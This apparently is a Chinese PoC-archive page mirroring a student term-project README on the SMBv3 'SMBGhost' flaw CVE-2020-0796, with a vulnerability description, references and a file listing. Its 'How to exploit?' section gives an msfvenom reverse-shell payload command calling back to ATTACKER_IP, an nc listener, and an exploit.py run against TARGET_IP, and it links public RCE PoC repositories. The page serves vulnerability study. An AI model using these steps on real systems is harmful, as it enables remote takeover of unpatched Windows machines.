关联漏洞
标题：
微软 Microsoft SMBv3 缓冲区错误漏洞
(CVE-2020-0796)
描述：Microsoft SMBv3是美国微软（Microsoft）公司的一个为设备提供SMB功能的支持固件。 Microsoft Server Message Block 3.1.1 (SMBv3)版本中存在缓冲区错误漏洞，该漏洞源于SMBv3协议在处理恶意压缩数据包时，进入了错误流程。远程未经身份验证的攻击者可利用该漏洞在应用程序中执行任意代码。以下产品及版本受到影响：Microsoft Windows 10版本1903，Windows Server版本1903，Windows 10版本1909，Windo
描述
CVE-2020-0796 explanation and researching vulnerability for term porject CENG325
介绍
# CVE-2020-0796
CVE-2020-0796 explanation and researching vulnerability for term porject CENG325 for beginners
# How to exploit?
Userpayload generation for reverse shell:
> msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=5555 -f python
listening port:
> nc -lvnp 5555
exploit code execution:
> python3 exploit.py -ip TARGET_IP
# PoC Repos
- https://github.com/chompie1337/SMBGhost_RCE_PoC
- https://github.com/ollypwn/SMBGhost
# References
1. CVE-2020-0796: “Wormable” Remote Code Execution Vulnerability in.(2020, March 13). Tenable®. https://www.tenable.com/blog/cve-2020-0796-wormable-remote-code-execution-vulnerability-in-microsoft-server-message-block
2. “I’ll ask your body”: SMBGhost pre-auth RCE abusing Direct Memory Access structs. (2020, April 20). Ricercasecurtiy.Blogspot.https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
3. CVE-2020-0796 Memory Corruption Vulnerability in Windows 10 SMB Server| FortiGuard Labs. (2020, March 12). Fortinet Blog.
https://www.fortinet.com/blog/threat-research/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smb-server
4. Team, K. (2020, April 2). CVE-2020–0796 Windows SMBv3 LPE Exploit POC Analysis. Medium.https://medium.com/@knownsec404team/cve-2020-0796-windows-smbv3-lpe-exploit-poc-analysis-c77569124c87
5. CVE-2020-0796 –. (2020). Cyber Threat Insider Blog.https://blog.sensecy.com/tag/cve-2020-0796/
# Project Members
- [ezginurr](https://github.com/ezginurr)
- [zehrosh](https://github.com/zehrosh)
- [busracagliyan](https://github.com/busracagliyan)
文件快照
[4.0K] /data/pocs/8bf5791b0fada9e8d07b482f915e21e8678c1e6f
├── [292K] CENG325TermProject-Final Report.pdf
├── [5.0M] demo.mp4
└── [1.6K] README.md
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。